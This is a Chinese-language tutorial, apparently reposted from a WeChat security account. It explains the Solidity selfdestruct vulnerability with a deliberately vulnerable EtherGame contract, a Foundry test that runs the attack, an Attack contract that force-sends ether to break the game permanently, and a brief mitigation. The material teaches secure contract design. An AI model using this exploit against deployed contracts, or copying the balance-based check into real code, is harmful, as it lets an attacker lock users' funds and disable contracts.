智能合约漏洞入门(2) 自我毁灭漏洞

admin 2024年7月15日15:46:42评论10 views字数 3195阅读10分39秒阅读模式

自我毁灭漏洞

描述:

EtherGame自我毁灭漏洞是智能合约代码中的一个缺陷,它允许攻击者通过使EtherGame合约自我毁灭(使用selfdestruct操作码)来破坏游戏。该漏洞源于攻击合约中的dos函数,该函数在收到大量以太币后对EtherGame合约执行自我毁灭操作。由于自我毁灭,EtherGame合约的功能被永久禁用,使得任何人都无法存款或索取获胜者的奖励。

场景:

  1. 部署EtherGame
  2. 玩家(比如Alice和Bob)决定玩游戏,各自存入1个以太币
  3. 部署EtherGame地址的攻击合约
  4. 调用Attack.attack并发送5个以太币。这将破坏游戏,没有人可以成为获胜者

发生了什么?

攻击将EtherGame的余额强制等于7个以太币。现在没有人可以存款,也无法设置获胜者。由于缺少或不足的访问控制,恶意方可以使合约自我毁灭。selfdestruct(address)函数从合约地址移除所有字节码,并将存储的所有以太币发送到指定地址。

缓解措施:

不要依赖this.balance来追踪存入的以太币,而是使用一个状态变量来追踪总存款金额。

EtherGame合约:

contract EtherGame {
    uint public constant targetAmount = 7 ether;
    address public winner;

function deposit() public payable {
require(msg.value == 1 ether"You can only send 1 Ether");

uint balance = address(this).balance; // vulnerable
require(balance <= targetAmount, "Game is over");

if (balance == targetAmount) {
winner = msg.sender;
}
}

function claimReward() public {
require(msg.sender == winner, "Not winner");

(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}

测试方式:

forge test --contracts src/test/Selfdestruct.sol -vvvv

// Test function for a scenario where selfdestruct is used.
function testSelfdestruct() public {
    // Log Alice's balance.
    console.log("Alice balance", alice.balance);
    // Log Eve's balance.
    console.log("Eve balance", eve.balance);

// Log the start of Alice's deposit.
console.log("Alice deposit 1 Ether...");
// Set the message sender to Alice.
vm.prank(alice);
// Alice deposits 1 ether to the EtherGameContract.
EtherGameContract.deposit{value: 1 ether}();

// Log the start of Eve's deposit.
console.log("Eve deposit 1 Ether...");
// Set the message sender to Eve.
vm.prank(eve);
// Eve deposits 1 ether to the EtherGameContract.
EtherGameContract.deposit{value: 1 ether}();

// Log the balance of the EtherGameContract.
console.log(
"Balance of EtherGameContract",
address(EtherGameContract).balance
);

// Log the start of the attack.
console.log("Attack...");
// Create a new instance of the Attack contract with EtherGameContract as a parameter.
AttackerContract = new Attack(EtherGameContract);
// Send 5 ether to the dos function of the AttackerContract.
AttackerContract.dos{value: 5 ether}();

// Log the new balance of the EtherGameContract after the attack.
console.log(
"Balance of EtherGameContract",
address(EtherGameContract).balance
);
// Log the completion of the exploit.
console.log("Exploit completed, Game is over");
// Try to deposit 1 ether to the EtherGameContract. This call will fail as the contract has been destroyed.
EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.
}

// Contract to attack the EtherGame contract.
contract Attack {
// The EtherGame contract to be attacked.
EtherGame etherGame;

// Constructor to set the EtherGame contract.
constructor(EtherGame _etherGame) {
etherGame = _etherGame;
}

// The function to perform the attack.
function dos() public payable {
// Break the game by sending ether so that the game balance is >= 7 ether.

// Cast the EtherGame contract address to a payable address.
address payable addr = payable(address(etherGame));
// Self-destruct the contract and send its balance to the EtherGame contract.
selfdestruct(addr);
}
}

红框表示利用成功

智能合约漏洞入门(2) 自我毁灭漏洞

 

原文始发于微信公众号(3072):智能合约漏洞入门(2) 自我毁灭漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日15:46:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   智能合约漏洞入门(2) 自我毁灭漏洞https://cn-sec.com/archives/2799851.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息